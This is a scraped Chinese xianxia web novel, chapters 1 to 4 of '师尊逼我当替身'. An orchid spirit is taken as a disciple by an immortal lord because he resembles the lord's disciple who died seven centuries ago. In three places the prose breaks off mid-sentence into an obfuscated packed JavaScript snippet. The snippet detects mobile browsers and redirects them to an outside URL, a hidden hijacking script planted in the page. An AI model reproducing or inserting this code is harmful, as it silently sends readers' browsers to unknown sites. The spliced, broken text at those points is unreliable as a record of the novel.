《师尊逼我当替身》 1. 第 1 章 云雾之中,高耸的天梯一眼望不到尽头,一块白色石碑立于右侧,其上刻有气势磅礴的四个大字。 “万世仙宗。”兰则安穿着一袭素青色长衫,身姿挺拔如松,只用一根同色发带把长发系于脑后,丝绸般轻盈地散下。 他身边站着一位红衣少年郎,少年马尾高束,天生一副多情相,右眼眼角下还有一颗血红色的泪痣,模样很是打眼。 不时有弟子驻足跟他打招呼,态度热络,语气亲昵:“黎师兄,你可算回来了,这次你又去婆娑古境待了两年,再不出来,只怕掌门得差我们去请你了。” 话音落下,瞥见他身边的兰则安,当即瞪着眼睛,似乎是受了惊吓,像是不敢相信有人能长这个样子。 “这位?这位未免也太像——” “如果没什么事的话,我就先带则安去面见掌门了。”黎修凡收敛起脸上笑意,朝着还没回神的弟子微一颔首,就带着兰则安踩上了流云梯。 兰则安经过那名弟子身边时,见他还在呆呆傻傻地看着自己,眼睛瞪得溜圆,不禁莞尔,好脾气地问道:“像谁?” “像——” “慎言!”黎修凡突然出声打断。 兰则安若有所思地看了他一眼,没再继续为难这个小弟子。 对上黎修凡不悦的目光,小弟子终于后知后觉的意识到,自己刚才的举动实在是失礼,好在这位叫‘则安’的青年没跟他计较,不然着实尴尬。 他不自在地摸摸鼻子,目送黎修凡和兰则安的背影消失在视线中,这才转身离开了宗门。 流云梯是一条接近垂直的长梯,一步一景,由无数个幻境组成,历来只有成功走过流云梯,才有机会成为万世仙宗的弟子。 这里的幻境反应的往往是人心底最深处的欲|望,不过兰则安是婆娑古境里刚刚渡劫、化形成功的一株帝兰,这是他第一次踏足于人间,内心实在没什么想要的。 他脚步不曾有过停顿,黎修凡登顶不到半炷香的时间,兰则安就上来了。 “你……你遇见那些幻境了吧?”这还是黎修凡第一次看见一个人这么轻松走过流云梯,不免诧异地多问了一句。 兰则安点头,道:“遇见了。” “你没受到影响吗?”黎修凡疑惑道。 兰则安思索着开口:“大抵是因为我刚化形,对很多东西都不了解,所以这些幻境对我影响不是很大。” “应该不会,之前也有刚化形的妖族走过,最快的也花了两个时辰。”黎修凡想了想,只能把这归咎于帝兰一族生性淡薄,不易被世俗牵绊的性子上。 见他都这么说了,兰则安也没再继续纠结,转而问起了自己最关心的问题:“那我现在算是万世仙宗的弟子了吗?” “暂时还不算,万世仙宗一百年招收一次弟子,现在还没到时间,我直接带你去见掌门。”想起之前答应过他的事,黎修凡解释道:“帝兰一族少见,你又来自婆娑古境,师尊他一定会留下你的。” 兰则安默然半晌,淡淡地嗯了一声。 万世仙宗是仙域的第一宗门,其下不仅有人族修士,还有少量的妖族弟子,是以黎修凡当初才会询问兰则安要不要跟他一同前往仙域。 沧净山,乃万世仙宗历代宗主的山脉。 这里仙植繁茂,灵气充沛,虫鸣鸟叫声不时入耳,黎修凡一边带他往山上走,一边跟他说:“我有个小师弟就是妖族,真身是一朵雪莲,师尊专门为他在后山布了一片雪景,好让他修炼。” “则安,等你成为师尊的弟子,我一定会亲自给你布置修炼的洞府。正好我的院落旁边还有一片空地,要不你就住那儿吧?以后不管遇见什么问题,你都可以来寻我。” 兰则安领了他的情,没说什么别的,只客客气气地跟他道了谢。 黎修凡又道:“以后大家就是师兄弟了,你我之间无需这么见外。” “可是掌门他……未必就同意收下我吧?”从婆娑古境到万世仙宗的这一路上,黎修凡已然把他当成了师兄弟看待,言语间也多以‘我们宗门’为主,让兰则安很不习惯。 但黎修凡俨然是十拿九稳的架势:“花草精灵仙力纯粹,心思干净,师尊他最喜欢这样的弟子了。” “万世仙宗花草化形的妖族很多吗?”兰则安好奇地问道。 黎修凡摇摇头,没怎么犹豫:“即便算上你,也是屈指可数。除了我刚才跟你说过由雪莲化形的小师弟,剩下两位,一位真身是墨竹,还有一位真身是紫菱草。” “他们也在沧净山吗?” “那倒不是,墨竹师兄在文渊峰,紫菱师妹在医圣峰。” 话语间,两人终于抵达山顶之巅。此时正值晌午,太阳光照在金色的琉璃瓦上,折射出耀眼的光芒。 黎修凡带着兰则安,熟练地走到东侧书房,房门大开,但里面却空无一人。 书桌上反扣着一本翻开的书,砚台里还有磨好的墨,显然这里的主人刚走没一会儿。黎修凡合上房门,转身找了个洒扫的弟子,问道:“你可知道师尊去哪里了?” “启禀师兄,藏霄仙尊突然来访,现与掌门在大殿议事。” “藏霄仙尊?!”黎修凡语气一下子就变了:“可知仙尊为何事而来?” 拿着扫帚的弟子一头雾水,道:“这个……弟子就不清楚了,仙尊刚来沧净山就直奔大殿,掌门也不许我等前去打扰。” 黎修凡眼眸漆黑,桃花眼渐渐没了笑意。 兰则安眼底眸光微转,面上却不显,也没像刚才那般主动问他。 黎修凡很快就调整好了脸上表情,看向兰则安,眉眼重新含着笑,道:“则安,你先在偏殿等我,我去去就回。” 偏殿和书房紧挨着,雕栏画槛,金碧辉煌。内里的柱子上刻有祥云及龙凤等祥瑞之兽,雕刻精细灵动,栩栩如生。 地上铺有深色的地毯,其上用金银丝线织绣出繁复华美的图案。屋里飘着浅浅的草木清香,兰则安抬眼望去,没瞧见花草,只有香炉在冒着袅袅青烟。 这熏香倒是奇妙,就连帝兰化形的兰则安都没觉出这香味和真正花草的区别,可见调香人心思之灵巧。 他没在偏殿里闲逛,就近找了个凳子坐下,很快有人端来茶水,兰则安与他对视,却见后者脸色如常,放下茶盏就躬身退了出去。 沧净山的茶是万世仙宗茶山上种植而来,上等的白茶,拂春薄雪,入口顺滑细腻,有一种形容不出的绵柔之感,颇有些让人欲罢不能。 只是再好的茶,若是主人没心情品,也是白搭。 褚漫川坐在掌门师鹤语的对面,一身紫色锦袍,腰束玉带,头戴银冠,眉眼疏冷凌厉,虽端坐在那,但一身逼人的气势还是让人不敢直视。 他手里把玩着一枚缺了一角的墨色圆玉,一双眼沉静晦暗,目光落在由远及近走来的黎修凡身上,带着毫不掩饰的审视意味,直到黎修凡走到两人身前停下,俯身行礼:“弟子拜见师尊,藏霄仙尊。” “起来吧,小凡,之前你在信中说,这次从婆娑古境里带回了一个刚刚度过雷劫的妖族?”师鹤语一袭白衣胜雪,布料轻盈垂顺,说不出的雅致随性。 黎修凡应道:“正是,他的真身是一株帝兰。” “帝兰?”师鹤语来了兴趣:“怎么没带他过来?” “弟子听闻藏霄仙尊来访,恐误了仙尊与师尊的正事,故而便让他在偏殿等候。” “唤他进来吧。”褚漫川忽然出声。 此言一出,先不说黎修凡心里咯噔一下,便是淡然如师鹤语,也是愣了片刻才反应过来。 两人齐刷刷看向褚漫川,就见他正襟危坐,全无半分说玩笑话的意思。 师鹤语沉默不语,黎修凡没法,只能轻轻道:“是。” 他缓慢退下,眼底闪烁着惊疑不定的光芒,想不通究竟是何处出了问题。 藏霄仙尊怎么会忽然关注一个刚化形为人的妖族呢? 七百年不问世事,偏偏在他把兰则安带回来的时候来见师尊,到底是巧合,还是…… 黎修凡怀着沉重的心情踱步至偏殿,兰则安见他面色凝重,联想临走前他的表情,不由得问道:“怎么了?可是发生了什么事?” 黎修凡深深地看了他一眼,勉强笑了下:“没什么。” 兰则安揣测道:“莫非此事跟我有关?” 黎修凡担忧地看了他一眼,放低了声音:“藏霄仙尊要见你。” “藏霄仙尊?见我?”兰则安其实不知道自己该是什么反应。 紧张?忐忑?抑或是惊喜? 不过看黎修凡紧绷的神情,基本可以排除最后一项了。 抱着这种奇奇怪怪、说不出的念头,兰则安跟随黎修凡一起,进了大殿。 左边男子温文尔雅,有如谦谦君子; 右边男子俊美绝伦,只是周身萦绕着生人勿近的冷峻之气,距离感十足。 他便是那位让黎修凡惴惴不安的藏霄仙尊吧? 看上去委实让人难以接近。 兰则安站定后,双手抱拳简单行了一礼,道:“兰则安拜见二位仙尊。” 师鹤语复杂地瞥了眼褚漫川,随后认认真真地看过兰则安的长相,这才出声问道:“这位仙友,你在未化形前,一直都在婆娑古境修炼吗?” “是。” “不知仙友可否出示一下元神?”师鹤语的声线是清润的,带着点温柔的调子,不会给人半点高高在上的感觉。 兰则安并不介意这个,眉心一道金色光芒闪过,一朵青金色的兰花虚影出现在他身前。 墨绿色的兰叶向四周舒展开,围拢着中间那朵恣意绽放的花儿,色彩淡雅却不显得单调,有如青玉般,典雅华贵。 妖族渡过雷劫之后便可化形为人,但他们的元神却仍旧保持着真身的形态,随时可以召唤出来,以表明身份。 平心而论,师鹤语是喜欢兰的,他专门在沧净山开辟了一个兰园,用来饲养各种兰花。撇开长相不论,他是非常欢迎兰则安加入万世仙宗的,他也愿意把人留在这里,留在沧净山,但关键就是…… 没法撇开长相。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他主动对上那双别有深意的眼,直言道:“仙尊请讲。” 褚漫川坦然地看着他,慢悠悠地说:“因为你长得很像本尊死了七百年的弟子。” 兰则安愣了下,才缓慢出声:“……这就是仙尊想收我做弟子的原因吗?” “不然,你以为呢?”褚漫川理所当然道,声音分明不重,却带着不容置喙、没得商量的强势意味。 兰则安也不恼,或者说,他也没这个实力拒绝仙尊。 自婆娑古境出来后,黎修凡曾带他去过一趟修真界,他在那里曾亲眼目睹了一伙山匪想要强占一个女子。 那女子只是筑基期的修为,但那伙山匪中却有一个金丹期的修士,强弱悬殊自不必多说。若不是他们当时恰巧经过那里,只怕这女子真要被他们掳去做压寨夫人。 兰则安觉得自己现在的处境就跟那位女子无异,都是面对强敌,却没有反抗的实力。 细究起来好像他还要更惨一些。 因为没人救得了他。 修真界的修士成功渡劫后,便可飞升至仙域。而这仙域中,能被称为仙尊的仙人,却是寥寥无几。 修仙者,分上仙、灵仙、真仙、玄仙、金仙五个大境界,每个大境界又分九层,唯有金仙修为的仙人能被冠以‘仙尊’之称。 而兰则安只是上仙一层,跟金仙的差距宛如天堑,故此他只能试探性地小声问道:“仙尊,我可以拒绝吗?” 褚漫川微微一笑,反过来问他:“你说呢?” 兰则安一动不动地看着他,就在褚漫川以为他会继续负隅顽抗之际,却见兰则安话锋陡转,态度来了个急转弯:“能拜仙尊为师,实乃则安之福。” “弟子在此,拜见师尊。” 他如此配合听话,倒让褚漫川有些不习惯了。 褚漫川眼底闪过一丝狐疑之色,他上下打量了几下兰则安,起身道:“既如此,那便跟我回藏月山吧。” “现在就去吗?”兰则安讶然,他没想到竟如此之快,人类的拜师仪式竟如此简陋? 做师父的看上了,弟子从了,师徒关系就算是成了?! “不然你还想留在沧净山?”褚漫川讥诮道:“师兄这么多弟子,也不嫌挤得慌。” 听他说这个,师鹤语就不得不出声了:“你这话我可就不爱听了。我沧净山怎么了?座下弟子皆可人人一洞府,尽可占地上百亩,何来‘挤得慌’这一说?” “他一个花妖,在你这,只怕连根都扎不开吧?”褚漫川好整以暇地说着:“倒不如我的藏月山,只有我一个人住。” 只有师尊一人? 兰则安愣了下,继而心思微动:等他去了藏月山,岂不是像那些占山为王的妖族一样,可以称大王了? 不过师尊既知他的真身,难道就不曾想过,区区一株兰花,其实不过方寸之地,就足矣? 2. 第 2 章 兰则安站定,眼前是一座分外宁静的荒山。 偏僻、且没有丁点儿声音。 高大的古树野蛮生长,枝桠茂盛,遮天蔽日,全无半点修剪过的迹象。这里虽不如沧净山敞亮,却是让人心中一朗,有种拨云见日的微妙快意。 只是这感觉来得快,去得也快,兰则安并没多想,只规矩地跟在褚漫川身后,目不斜视地沿着一条陡峭的石阶上了藏月山。 山顶的风吹得衣摆簌簌作响,像刀子似的刮在人脸上,生疼生疼的。 兰则安的长发被风扬起,他下意识地侧身避开这过于刚猛的劲风,眼尖瞥见自己的发尾竟拂过褚漫川的肩头,与这人的发丝交缠在了一起。 两人距离太近了。 近到兰则安清楚地瞧见了褚漫川根根分明的眼睫,还有那双幽深墨眸中自己小小的影子。 他一时有些怔然,似魇住了般呆呆地望了不知多久,直到听见一声短促的笑,混着那稍显凉薄的声音,在他耳边响起:“看够了吗?” 兰则安瞬间回神。 自己这是怎么了?倒像是糊涂了一般。 种种想法在脑海中快速地过了一遍,他收敛起自己外露的情绪,略退后半步,主动道:“弟子失礼,还请师尊恕罪。” 话音还未完全落下,一股更为猛烈的风就再次吹起他的长发。因着兰则安俯身低头的动作,两人间的距离还是很近,刚分开的发丝就再次被风卷在一起,看上去……既亲密,又无礼。 兰则安无端脸一热,正想说些什么时,褚漫川先回他了,神色淡淡,只是这话却意味深长:“倒真是让我意外,你一个荒野之地出来的小妖,居然还懂我们人族的这套规矩。” 兰则安捋过头发,抬手仔细压好,才底气不足地说:“弟子也只是囫囵吞枣地学了个大概,这些都是来宗门的路上,小凡师兄教我的。” “你倒和他亲近得很。”褚漫川盯着他,语气莫名有些恶劣:“只是不曾想……没去成沧净山,反而来了我这藏月山吧?” 兰则安眨眨眼,不太明白他这突如其来的转变,只能斟酌着开口:“能拜入万世仙宗,已是弟子之福。沧净山虽好,却不如这里清静,师尊肯收下我,则安就再没所求了。” 旁的什么漂亮话,他也不会说了。 褚漫川似乎对他这个答案还算满意,有一搭没一搭地把玩着手里的墨玉,也没再跟他说些什么,径直走向了那座篱笆围成的小院。 兰则安很有眼色地跟在他身后,保持着约莫两三步的距离,步伐不急不缓,愣是没发出一点声音来。 小院里空荡荡的,只有一棵火红色的枫树,普普通通、随处可见的品种,只是长得异常粗壮,枝叶也过分茂盛,乌泱泱地盖住了整座小院的天,把苍穹都染成了刺眼的红。 树下有一张木头做的方桌,只是上面落了很厚很厚的一层灰,两侧放着的木椅也是,看上去明显是闲置已久。 冷不丁的,他一下子想起刚才……藏霄仙尊说过的话。 “你长得很像本尊死了七百年的弟子。” 褚漫川站定,也没回头,只是用力攥着手里的那块墨玉,突兀地问道:“在想什么?” “我在想,仙尊——”话音戛然而止,意识到不对,兰则安心一紧,仓促中随意找了个话题:“仙尊这里像是许久未曾有人住过的样子。” “我方才不是同你讲过,我那弟子死了七百年,这七百年……”褚漫川忽然停顿住了。 兰则安抬眼看向他的背影,只觉得这位仙尊周身都萦绕着一种难以言喻的落寞之感。 这位仙尊同他弟子感情一定很好,兰则安想,否则褚漫川也不会只看自己一眼,就因这张相似的脸,收了自己做新弟子。 自己也算是承了那位弟子的情,若是有机会,定要好好祭拜一番。人族对待生死之事都极为重视,他既然入了仙域,做了这万世仙宗的弟子,必然也是要入乡随俗的。 “这七百年,这里自然也就没人住了。”沉默半响,褚漫川恍惚地说着。 闻言,兰则安侧头看他。 褚漫川垂手而立,层层叠叠的红枫叶遮住了大半光亮,红色的树荫下,他轻阖双目,神情尤显晦涩神秘。 没来由的,兰则安顺着他的话问了句:“那师尊呢?这七百年都在哪里?” 话一出口,兰则安就后悔了。 他不该问的,藏霄仙尊多半会不喜。 出乎他意料的是,褚漫川非但没觉得他多嘴,反而对上他的眼,平静地回他:“游历四方,看名山大川,也看小桥流水,不过是图个清闲自在罢了。” 兰则安的眉头微不可察地皱了一下,他心里涌上一股不知名的情绪,有些说不出原因的怅然。 褚漫川目不转睛地盯着他,见他面容隐隐露出不快,心底的郁气总算是消了一些。 “行了,时候不早了,你去做饭吧。”褚漫川说话的声音低柔沙哑,带着种漫不经心的慵懒感,如同清泉在岩石中穿流而过,在兰则安心头划过浅浅痕迹。 不过……做饭??? 他根本不会做饭啊! 别说仙域,即便是修真界的修士,只要筑成金丹后,便无需再进食,每日吸纳天地间的精华灵气即可,少有人会像凡人、或者低阶修士那般,一日三餐。 藏霄仙尊已是金仙之身,却也会进食? “膳房在那边,我看天色有点深了,你去简单做碗阳春面就好。”说话时,褚漫川看向东边那间独立的屋子,示意那里就是接下来兰则安要大展身手的地方。 兰则安顺着他的目光僵硬地转过头,那所谓的膳房跟这棵枫树下的桌子一样,灰扑扑的落满了尘埃。七百年没人用过的东西,没人踏足过的地方…… 藏霄仙尊乃金仙之身,仙力高强,难道出去游历前就不曾想过,用一个简简单单的防尘术吗?! 暗暗打量他的褚漫川弯了弯唇角,久违的畅快感在心头浮现,他拂了拂衣袖上并不存在的灰尘,心情极好地说:“快去吧,也让我尝尝你的手艺。” 说完,他笔直走向正屋,左右两扇木门在兰则安眼前“砰”的一声合上,没给他一句解释的机会。 兰则安茫然地看看膳房,又看了看没得商量的正屋,只能迈着沉重的脚步先去解决眼下的问题。 第一步,打扫膳房,清理做饭要用的物件。 膳房南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875587|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的窗子大开,站在窗前,尽可俯瞰藏月山一山的葱郁林木。只是从这里看,兰则安的心境却与刚上山时完全不同了。 具体就表现在,他现在觉得这里的林木都长得张牙舞爪的,半点也不可爱。 “哎。”兰则安叹了口气,卷起袖子,认命地开始忙碌起来。 正屋门窗紧闭,微暗的光线中,褚漫川站在窗子后,眸色渐渐深沉,狭长的眼底尽是探究之意。 这座日益破败、荒废的小院,安静了整整七百年,直至今日,才稍微有了点人气。 膳房里不时传来一些或轻或重的声音,褚漫川安静站了一会儿,想给自己沏杯茶喝,但垂眼一看,他这屋里也早就变了个样子。 “到底是七百年没回来了。”他抬手一挥,不过眨眼的功夫,屋里就焕然一新,重新变成了褚漫川记忆中干净整洁的模样。 他四下看了看,眼底慢慢多了缕纯粹的怀念之色。 …… 暮色渐沉,窗子外的光线逐渐黯淡下来。 晚风将枫树叶子吹得不停摇曳,沙沙的声响传来那道缥缈的男声。 “师尊?师尊。”男人的声音带着餍足后的亲昵暧昧。 他的衣衫松松垮垮,抽紧的腰带松着,隐约可见内里结实强劲的肌肉。 他半蹲着身子,俯身向前,右手伸进被子里,轻轻握紧那只微凉的手。 低哑好听的声音刺激着床上人的耳朵,迷蒙中,那声音依依不舍地跟他说:“我需得出去一趟,师尊再睡一会儿,等醒了,我们吃阳春面。” 那时的天似乎就有些暗沉了,很像现在这个时候。 褚漫川记得,他当时含糊答应了一声,脑子昏昏沉沉,只半睁着眼看了男人一眼。 只一眼。 也是最后一眼。 …… 屋内安静,便显得窗外那沙沙的声响更清晰了。 “师尊?”兰则安突然低低唤他,迟疑地问道:“书房里的那些书,弟子可以看吗?” 兰则安问的是西边那间独立的屋子,那里放的都是些闲书,褚漫川记得,里面好像还有些低阶术法。 啊,其中好像就有除尘术。 想到这,褚漫川懒洋洋地回答:“随你。” 兰则安得了准确答案,便径直走进了书房。 膳房和书房坐落在小院的东西两侧,门窗都开着,但奇怪的是,书房里却一尘不染,就连角落都没瞧见一丝灰尘。 兰则安仔细感受了一会儿,目光落在了屋顶正中央的那盏空心莲花灯上。 那灯里有一颗散发着柔白光亮的夜明珠,而花灯之上,附着着一个很精巧的小型阵法。兰则安没从上面感受到威胁,他猜测这个大概率是一个辅助类的法阵,大抵就是维持书房干干净净的根本原因。 哪怕过去了七百年,沧海桑田,世事皆变,这里也仍然是以前那般,纤尘不染,跟膳房截然不同。 住在这里的人一定是个爱书的人。 兰则安几乎是瞬间就联想到了那个人。 ——藏霄仙尊死了七百年的弟子。 他忽然就很想知道,那个人,究竟是一个怎样的人了。 3. 第 3 章 书房里确实有兰则安想找的书,就在进门右手边,满满的一面墙,都是食谱。 好嘛,怪不得藏霄仙尊张嘴就让他去做饭,敢情他先前那位弟子就是个专业厨子。 书太多,兰则安挑了半天,选了一本看上去就很旧的书,一看就知道是经常翻看的那种,成功在里面找到了阳春面的做法。 《百味食记》第六则:阳春面。 其下有四个稍小些的字:汤清味鲜。 简简单单的四个字,下面却密密麻麻写满了一张纸,最后还有手写的批注,兰则安估摸着也是前面那位弟子留下的。 “面团少量多次加水,偏硬些为好。” “汤底用猪油,香而不肥。” “面汤颜色不能过重,油花亦不能过多。” …… “最后,葱段只放葱青,不要葱白部分。” 兰则安脑子彻底晕了。 先前跟黎修凡去修真界时,他也吃过这种细细长长的面条,只不过不叫阳春面。方才听褚漫川说‘简单做一下’,他还真就天真以为挺简单的。 兰则安反复看了三遍,确定记住了所有要点,才把这本《百味食记》放回书架。 出来时,点点繁星已缀上夜空,风里也有了丝丝凉意。 他低着头,就没注意到正屋的窗子开了,褚漫川正惬意坐在窗前,单手支着头,好整以暇地看着兰则安,看着像丢了魂似的兰则安。 “怎么?你不会做?”褚漫川语调懒懒的,说这话时眼睛还微眯缝着,似乎有了些倦意。 听到声音的兰则安这才发现褚漫川,他猛然抬头,对上那双深邃的墨眸时,莫名的,“不会”两个字就有了分量,变得沉甸甸的,怎么也说不出口。 他竟有些难以启齿。 就是觉得……不愿,也不应叫师尊失望。 “会的!”兰则安十分肯定,似破釜沉舟般,果断开口:“我可以做好,师尊。” 馥郁的茶香在两人中间悄然挥散,混着浅浅的花蜜香气,虽还是方才在沧净山品过的拂春薄雪,但这盏茶却透着一股清凉的蜜甜。 这是一种很特殊的茶香,闻起来甜甜的。 兰则安没忍住低眸看了眼,只见白瓷茶盏中,茶汤清澈见底,呈透亮的杏黄色。沉于底部的茶叶与沧净山的单芽也不同,为一芽一叶。 褚漫川不去看他,执手又泡了杯茶,悠悠然道:“你先进来,我有话要同你说。” 他泡茶的手法很随意,只往茶盏中丢些茶叶,再添上大半杯烧开的水便算完了。 跟兰则安之前在茶馆中见过的全然相反。 简单粗暴,随意无谓,倒是符合这位仙尊给人的第一印象。 进屋后,兰则安没有多看,但也不显拘谨,走过去先施了一礼:“师尊。” “先过来尝尝我这杯茶,看看怎么样。”褚漫川挥了下手,示意他坐在自己对面。 兰则安淡定落座,像模像样地端起茶盏,先嗅了嗅清幽茶香,随后才不紧不慢品了一小口,违心地点点头,道:“师尊的茶,极好。” 坦白说,入口有些苦涩,但茶叶极好,瑕不掩瑜,况且这茶还是师尊亲手泡的,便是毒药,他也得面不改色喝了。 褚漫川点头,看不出是信了还是没信,只说:“你看看这个。” 他单手推来一块圆形的玉。 这块玉漆黑如墨,色重质腻,有种独特别致的华美。只可惜美中不足的是,玉并不完整,不知怎得,美玉缺了一角。 很奇怪。 兰则安看见的第一眼,就想得到它。 心里像是某处被轻轻撩拨了一下,他的目光完全被那块半个巴掌大的墨玉吸引,再也注意不到其他了。 不知过了多久,褚漫川指骨叩响桌面,兰则安才如梦初醒,回魂般傻傻地看向对面那人。 他呆呆地问道:“……师尊?这是何物?” 褚漫川无声看着那双清澈的眸子。 对面那人熟悉,却也陌生。 再没有哪个时候像现在、像眼前这个时候更能让他意识到,原来只有他一个人被困在原地,只有他七百年没走出来,也走不出来。 只是有一点,褚漫川很清楚。 这个人是真的什么都不记得了。 什么都忘记了,全都忘记了。 褚漫川喉结微动,眸色骤然一寒。 屋里一下子变得静悄悄的,兰则安听见自己的心跳声正在悄然加快,无形的压力像是潮水般席卷而来。 这是……怎么了? 兰则安敏锐察觉出了不对,却想不明白是哪里不对。 方才还好好的,这玉原也是褚漫川先让他看的,怎么他问了一句,这人反倒还不高兴了??? 这脾气,好生古怪! 空气逐渐变得稀薄而沉重,褚漫川原本清冷的气质也变得阴沉诡异。 实力的差距明晃晃的摆在那里,兰则安虽不解,却也无可奈何,只能静静等待着,等待着一个可能有、也可能没有的答案。 偏偏这个时候,褚漫川笑了。 虽然笑不达眼底,但屋里上的气氛却是柔和了很多。 “我记得你们帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875588|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰一族,似乎是元神强,却弱于肉身,对吗?”话音落下的时候,褚漫川复又恢复成了之前那副淡然的模样,语气也似寻常般无二。 这事不算是秘密。 帝兰一族确实稀少,能够成功踏上仙途,继而化形者更是寥寥无几。就像黎修凡白天说的那样,花草精灵仙力纯粹,帝兰更属其中翘楚,修炼之道少有心境上的瓶颈。 只是世间万物皆有其长短之处,帝兰的劣势就在于,真身孱弱,便是修成仙身,比起同等级的人族、或是其他妖族,也要差上许多。 兰则安也没怎么想,直言道:“确是如此。” “那我便把它赠于你,你试着将神识附着于其上好好感受。” 褚漫川没解释原因,兰则安也不问,照着他说的做,只觉一股暖流快速流经四肢百骸,身体似乎也随之轻盈了些许。 兰则安微怔,恍惚了好一会儿,才真心实意地开口道:“多谢师尊,弟子感觉身体……猛然一轻,神识也清明了许多。” 只是…… 那东西很快就沿着他的神识与他身体合二为一,像是本来就是他身体的一部分,快到他甚至来不及仔细感受。直至彻底融入他的身体,兰则安也没弄清楚那到底是什么。 “那你便去做饭吧,从明日开始,每日卯时随我一同练剑。”褚漫川声音平淡,却是一种不容置喙的命令语气。 兰则安沉默半晌,到底是答应下来:“弟子遵命。” 来宗门的路上,黎修凡跟他讲过,他身体不知因何缘故,有些过于羸弱了。 而万世仙宗设五峰,以器修为主的器合峰,以阵法符咒为主的法悟峰,以炼丹、修医道为主的医圣峰,还有以琴棋书画入道、修心为主的文渊峰,最后便是那修身淬体、武修所在的武道峰。 黎修凡建议他选文修,便是考虑到他先天不足的原因。 沧净山之主,也就是万世仙宗的宗主师鹤语便是一位文修,早年以琴入道,如今已位列金仙,仙域上下少有敌手。 兰则安也是这时才知道,原来他的师尊,藏霄仙尊是一位修剑的器修。 他若有所思地往外走,临近门口时,脚步忽而一停,心里只觉讷讷不能言,迟疑了一阵子,才心虚道:“师尊,弟子第一次做阳春面,恐怕是要……” “无碍,我等着便是。”褚漫川头也不回道。 他的背影挺拔,一袭紫衫映着月色,清清冷冷,雅致却不失利落。 兰则安还想说些什么,却听那道清凌凌的声音传来,似清风拂过耳畔,响在心头。 “多久我都等着。” 4. 第 4 章 卯时初,天色熹微。 藏月山东方天际,隐隐出现了一抹朦胧的朝霞。本该是约定好练剑的时候,兰则安却在此时端着一碗阳春面进了正屋。 门没关,褚漫川也依然坐在窗边,面无表情地看向窗外,看向漆黑的山景。 兰则安讪讪瞥了一眼就赶忙收回视线,端着托盘,低眉顺眼地走到褚漫川身边停下,轻声道:“师尊,面做好了。” 褚漫川侧身看向那碗阳春面。 白瓷碗里氤氲着热气,零星飘着金色油花,面条细而均匀,看得出是下了功夫,认真做的。 淡淡葱花的味道混着骨汤的鲜味传来,褚漫川有一瞬间以为,这中间的七百年就像过眼云烟般都不存在了,眼前这个人也好像一直在他身边。 他拿起筷托上的竹筷,草草夹了几根面条。 兰则安眨也不眨盯着他的动作看,只觉得心都悬起来了。 他第一次做,只能照书上写的那样,一步一个脚印走,失败了四次,才最后做了这么一碗阳春面。 师尊赠他墨玉之宝,他身无所长,拿不出任何稀罕物件,只能以此聊表心意。 但这碗阳春面究竟好与不好,味道如何,自然还是得褚漫川说了算。 面条入口爽滑,软而不烂,韧却不硬,还是记忆中那个味道。 一点不差。 褚漫川眸光微暗,心脏开始钝钝得疼。 七百年手艺没变,人却彻底变了。 一旁站立的兰则安一直留心着他的神情,见褚漫川眉尖微蹙,心下隐隐有了猜测,料定是这碗阳春面不合他心意了,当即便道:“师尊觉得如何?弟子第一次尝试,也不知合不合师尊胃口。” 褚漫川放下筷子,脸上看不出多少情绪,却点点头,回他:“好极了。” 兰则安:“……”还真是没想到的回答。 从褚漫川的脸上,根本看不出‘好极了’的样子。 反而更显得他阴晴不定,令人难以琢磨。 “走吧。” 就在兰则安腹诽之际,褚漫川终于站起身,转身走向院落。 兰则安不解,却也老实跟在他身后,见他手中凭空多出一把长剑,这才记起,昨晚师尊说过要教他习剑来着。 没想到他一个花妖,居然要走冷酷的剑修路子,这也太—— “拿着!”褚漫川一把掷出长剑,响亮的破空声带动劲风扬起兰则安鬓角处的发丝。 眼前赫然掠过一道银色光芒,迅疾如雷电,兰则安伸手牢牢握住剑柄。 剑身嗡鸣,其势磅礴,其声响彻在心头久久不散。 仅此一剑,便有如此之威。 这……这就是剑修吗? 他兰则安,甚向往之。 兰则安双眼炯炯有神,心底忽而涌动起一股强烈的激情和冲劲,他攥紧冰凉的剑柄,垂眸细细打量起银白色的剑身。 剑有些重量,但剑身却如蝉翼一样薄,剑尖锋芒锐利,令人心悸。 “以后它就是你的剑了,此剑名曰‘青霄’。”褚漫川的声音传来,方才让兰则安从剑上移开目光。 兰则安只觉血液里都好像注入了一股力量,千万丈豪情在脑中喧嚣。他定定看着褚漫川,凝视着这位剑道大成的仙尊。 藏霄仙尊,褚漫川。 “师尊,这剑是……”师尊的旧剑吗? “是我先前那位弟子初学剑时所用之剑。”褚漫川微微一笑,笑容虽浅,但眉眼却是随之柔和了很多。 兰则安眨眨眼,意外的同时,也在无形中舒了口气。 反正,只要师尊高兴,他就高兴,而且他的日子也能畅快些。 褚漫川却在这时直直望向他,一字一顿,正式告诉他:“对了,他叫楚崖。” 褚崖?随师尊姓? 兰则安只是稍稍诧异了一瞬,并不觉得奇怪。 